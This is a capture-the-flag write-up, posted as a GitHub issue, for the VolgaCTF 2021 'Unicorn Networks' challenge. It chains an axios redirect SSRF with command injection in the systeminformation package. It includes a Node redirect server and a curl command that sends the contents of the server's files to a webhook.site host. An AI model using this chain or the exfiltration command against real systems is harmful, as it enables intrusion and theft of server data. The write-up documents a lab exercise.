aszx87410 / ctf-writeups

ctf writeups

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

VolgaCTF 2021 Qualifier - Unicorn Networks

aszx87410 opened this issue · comments

commented

Unicorn Networks

Description

Protection of the admin section needs to be more robust...

Writeup

There is an api to fetch other url: http://192.46.237.106:3000/api/getUrl?url=http://example.com, I tried with some random ip and this one result in error: http://192.46.237.106:3000/api/getUrl?url=http://127.0.0.1

{
    "status": "error",
    "content": {
        "message": "Request failed with status code 503",
        "name": "Error",
        "config": {
            "url": "http:/127.0.0.1",
            "method": "get",
            "headers": {
                "Accept": "application/json, text/plain, */*",
                "User-Agent": "axios/0.21.0",
                "host": "null"
            },
            "proxy": {
                "host": "proxy.corp.local",
                "port": 3128
            },
            "transformRequest": [
                null
            ],
            "transformResponse": [
                null
            ],
            "timeout": 0,
            "xsrfCookieName": "XSRF-TOKEN",
            "xsrfHeaderName": "X-XSRF-TOKEN",
            "maxContentLength": -1,
            "maxBodyLength": -1
        }
    }
}

Then I tried to send request to proxy.corp.local but found nothing, stuck here for a while. A few moments later, I noticed the package name and the version in the response so I tired to google axios 0.21.0 vuln.

Look what I found: Requests that follow a redirect are not passing via the proxy #3369

There is a SSRF vuln in this version so I created a simple proxy server:

const http = require('http')

http.createServer(function (req, res) { 
  res.writeHead(302, {location: 'http://127.0.0.1'})
  res.end()
}).listen(5566)

I tried few ip and domain but found nothing, stuck again. Later on, I went back and checked the chall description again: Protection of the admin section needs to be more robust....

So I tried: http://127.0.0.1/admin and to my surprise, I got access to admin page:

<html>
  <head>
    <title>System information</title>
  </head>
  <body>
    <h2>Get OS Information</h2>
    <button onclick="retrieveOSInfo();false;">Retrieve</button>

    <h2>Get service info</h2>
    <input type="text" id="serviceName" value="nginx">
    <button onclick="retrieveServiceInfo();false;">Retrieve</button>

    <h2>Output</h2>
    <textarea id="output"></textarea>
  </body>
  <script>
    function retrieveOSInfo() {
      fetch('/api/admin/os_info')
        .then(response => {
                    if (response.status == 200) {
                        return response.json();
                    }
                    throw Error('Server is unavailable');
                },
                failResponse => {
                    printOutput('Server is unavailable');
                })
                .then(result => {
                    printApiResult(result);
                },
                errorMsg => {
                    printOutput(errorMsg);
                });
    }

    function retrieveServiceInfo() {
      fetch('/api/admin/service_info?name=' + encodeURIComponent(serviceName.value))
        .then(response => {
                    if (response.status == 200) {
                        return response.json();
                    }
                    throw Error('Server is unavailable');
                },
                failResponse => {
                    printOutput('Server is unavailable');
                })
                .then(result => {
                    printApiResult(result[0]);
                },
                errorMsg => {
                    printOutput(errorMsg);
                });
    }

    function printApiResult(jsonObject) {
      result = '';
      for (const [key, value] of Object.entries(jsonObject)) {
        result += `${key}: ${value}\n`;
      }
      printOutput(result);
    }

    function printOutput(content) {
      output.value = content;
    }
  </script>
</html>

There are two hidden api endpoints, I tried both and here is the response for the service one:

{"status":"ok","content":[{"name":"nginx" ,"running":false,"startmode":"","pids":[],"pcpu":0,"pmem":0}]}

I googled the keyword: running":true,"startmode":"","pids" and realized that it's from a package called systeminformation

Let's do another round of search, systeminformation vulnerability. I found these two links:

  1. https://snyk.io/vuln/SNYK-JS-SYSTEMINFORMATION-1074913
  2. https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC

The POC is quite useful, we can do command injection via name[]=$(ls)

But I don't know how to do reverse shell so I use another way, maybe stupid but works: https://stackoverflow.com/questions/15912924/how-to-send-file-contents-as-body-entity-using-curl

curl -d "$(cat ./*)"  https://webhook.site/f77fba3b-a14a-4fad-a39e-2f439861882a
const http = require('http')

http.createServer(function (req, res) { 
  let send = 'curl -d "$(cat ./*)"  https://webhook.site'
  res.writeHead(302, {location: 'http://127.0.0.1/api/admin/service_info?name[]='+encodeURIComponent("$(" + send + ")")})
  res.end()
}).listen(5566)

Got the flag in the end.

Oh, I found this vulnerbility, but don't understand how to use. = (

commented

Next time you can try to find the POC for the vulnerbility, it's quite helpful!